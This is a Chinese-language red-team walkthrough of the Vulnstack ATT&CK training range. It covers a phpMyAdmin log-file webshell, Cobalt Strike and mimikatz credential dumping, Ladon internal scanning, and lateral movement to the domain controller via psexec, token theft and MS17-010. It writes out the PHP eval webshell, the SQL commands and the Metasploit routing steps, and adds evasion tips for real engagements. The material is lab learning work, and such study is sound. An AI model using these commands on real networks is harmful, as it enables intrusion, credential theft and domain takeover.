前期准备:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/下载虚拟机

配置环境需要两张仅主机模式开启的网卡

ATTCK实战|Vulnstack 红队(一)-编程知识网

ATTCK实战|Vulnstack 红队(一)-编程知识网

构造这样的内网环境,Kali和Win7的外网IP处于同一网段,可以进行攻击,而Win7还有内网网段,通过拿下Win7机器继续攻击其处于内网同一网段的Win2003及其域控服务器。

首先登录Win7开启phpstudy,登陆密码hongrisec@2019,所有虚拟机密码都是这个。

复现:

因为在kali和win7在同一网段,所以可以使用netdiscover对主机IP进行探测

ATTCK实战|Vulnstack 红队(一)-编程知识网

探测到129存在,应该就是目标Win7主机,对目标主机端口开放情况进行探测

nmap -sC -sV -Pn -p 1-65535 192.168.136.129

发现存在80端口开放,访问看到phpStudy探针页面,直接猜测佩戴了phpmyadmin,随即访问,猜测弱口令root/root登陆上去

ATTCK实战|Vulnstack 红队(一)-编程知识网

接下来利用日志文件Getshell,参看我之前写的PHPMyadmin getshell到提权文章

show variables  like  ‘%general%’; #查看日志状态

SET GLOBAL general_log=’on’ ;#开启写日志记录

SET GLOBAL general_log_file=’C:/phpStudy/www/233.php’ ;#更改日志文件目录

ATTCK实战|Vulnstack 红队(一)-编程知识网

写入一句话 SELECT ‘<?php eval($_POST[“cmd”]);?>’ ;蚁剑连接

ATTCK实战|Vulnstack 红队(一)-编程知识网

这就拿到Win7机器的权限了,接下来就是进行对内网信息收集的过程了

内网信息收集

利用CS生成一个windows64位的exe文件(做好监听)监听选择TCP

ATTCK实战|Vulnstack 红队(一)-编程知识网

用蚁剑将exe上传,打开虚拟终端运行,CS上线,可以看到是管理员权限

ATTCK实战|Vulnstack 红队(一)-编程知识网

接下来进行为了后续的信息收集进行提权

ATTCK实战|Vulnstack 红队(一)-编程知识网

选择内置提权的方式或者外部加载一些payload,参考我的CobaltStrike系列

ATTCK实战|Vulnstack 红队(一)-编程知识网

拿到System权限,最后注意下CS默认心跳60秒,实战的时候确实应适当高一些,30秒左右差不多,靶机环境自行设置:sleep 10

beacon> hashdump,去获取NTLM哈希值可以尝试在cmd5等网站解密

ATTCK实战|Vulnstack 红队(一)-编程知识网

beacon> shell ipconfig,查看Win7机器所处环境

ATTCK实战|Vulnstack 红队(一)-编程知识网

可以看到192.168.136.129是其模拟的公网IP,192.168.50.133是其模拟的内网IP

判断是否有域

whoami
ipconfig /all
hostname
nslookup god.org
systeminfo
net config workstation
net view /domain
net time /domain

接下来利用神器Ladon,https://github.com/k8gege/Ladon

详细使用方法参看:https://www.cnblogs.com/k8gege/p/11907810.html

选择下图,点击Load,选择cna后缀的文件,即可与CS联动使用

ATTCK实战|Vulnstack 红队(一)-编程知识网

因为知晓其内网网段,直接对其域成员及域控进行探测

域内存活主机探测/系统/端口

beacon> Ladon 192.168.50.0/24 OnlinePC

ATTCK实战|Vulnstack 红队(一)-编程知识网

可以看到存在三台机器133是我们拿下的Win7,还有135和134

beacon> Ladon 192.168.50.0/24 OsScan

ATTCK实战|Vulnstack 红队(一)-编程知识网

beacon> Ladon 192.168.50.0/24 PortScan 或者指定IP进行探测

ATTCK实战|Vulnstack 红队(一)-编程知识网

横向移动

1.利用psexec(需要密码相同)

因为192.168.50.0/24段不能直接连接到192.168.136.128(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

前提先run mimikatz获取解密明文,如下图点击可以看到解密密码

ATTCK实战|Vulnstack 红队(一)-编程知识网

接下来准备smb协议

ATTCK实战|Vulnstack 红队(一)-编程知识网

ATTCK实战|Vulnstack 红队(一)-编程知识网

ATTCK实战|Vulnstack 红队(一)-编程知识网

选择后会再生成一个session, 再对50的B段进行445端口的扫描(CS里自带)

ATTCK实战|Vulnstack 红队(一)-编程知识网

ATTCK实战|Vulnstack 红队(一)-编程知识网

完成后在View中选择Targets,在win7内网IP处如图选择

ATTCK实战|Vulnstack 红队(一)-编程知识网

ATTCK实战|Vulnstack 红队(一)-编程知识网

session选择之前获得的system权限的一个即可,“Launch”后会获得两个System权限的内网机器,拿下域控。这里我只拿到这台域控,另一台有延迟或者其他原因一直连接不上。最后大佬说可以考虑哈希传递去搞,以后学习记录。

ATTCK实战|Vulnstack 红队(一)-编程知识网

注:实战的话,这种方式横向移动有失败可能,因为需要其他机器的密码与我们拿下的机器的密码相同才可以,但是用这种方式横向移动没有解出明文密码也可进行。最后注意msf与CS在实战中特征量是比较明显的,有情况的话需注意。

2.令牌偷取

ATTCK实战|Vulnstack 红队(一)-编程知识网

ATTCK实战|Vulnstack 红队(一)-编程知识网

偷取完回到targets,选择域中其他两台机器

ATTCK实战|Vulnstack 红队(一)-编程知识网

ATTCK实战|Vulnstack 红队(一)-编程知识网

选择一个session“Launch”,但是这种方式效果不是很好,我测试的时候没有成功,不理解什么原因。

3.CS与MSF联动使用MS17-010

拿到shell后 建立一个对外的监听,端口随便,这里注意使用的是tcp

ATTCK实战|Vulnstack 红队(一)-编程知识网

msf上开启监听

ATTCK实战|Vulnstack 红队(一)-编程知识网

回到CS复制一份shell传给对外监听的那个,选择choose,msf上收到shell

ATTCK实战|Vulnstack 红队(一)-编程知识网

上线后 添加路由

run get_local_subnets #查看当前网络网络情况

ATTCK实战|Vulnstack 红队(一)-编程知识网

可以看到有两段,我们的目的将路由设到50网段中

run autoroute -s 192.168.50.0/24 #添加路由

run autoroute -p #查看路由添加情况

ATTCK实战|Vulnstack 红队(一)-编程知识网

成功添加路由

bg将meterpreter会话放到后台运行

msf5 > use auxiliary/admin/smb/ms17_010_command

查看options看到可以修改命令,并执行,另一台机器同理,通过这种方法可以添加用户,开启3389远程登陆拿下域机器

ATTCK实战|Vulnstack 红队(一)-编程知识网

这里我测试的时候常规的ms17_010打法失败,实战可以考虑尝试。

这篇文章真的学到了很多东西,也写了好久,不断摸索,文章中仍有部分未完全理解透的知识点,有些地方也只是知晓其使用方法,仍需在后续的学习中不断提高修复。

最后:内网学习主要是工具使用,内网环境及域环境知识利用,常用命令及其思路和利用点的应用,实战中可能一些骚招式能起到出其不意的效果,当然0day最强。本文横向移动的方法主要基于各虚拟机密码相同才会相对容易一下,实际情况很可能在拿下机器后需要登录进行更多的信息收集(如配置文件,重要文档)去获取其他机器密码,同时注意拿域控,拿域控,拿域控,重要的事情多强调。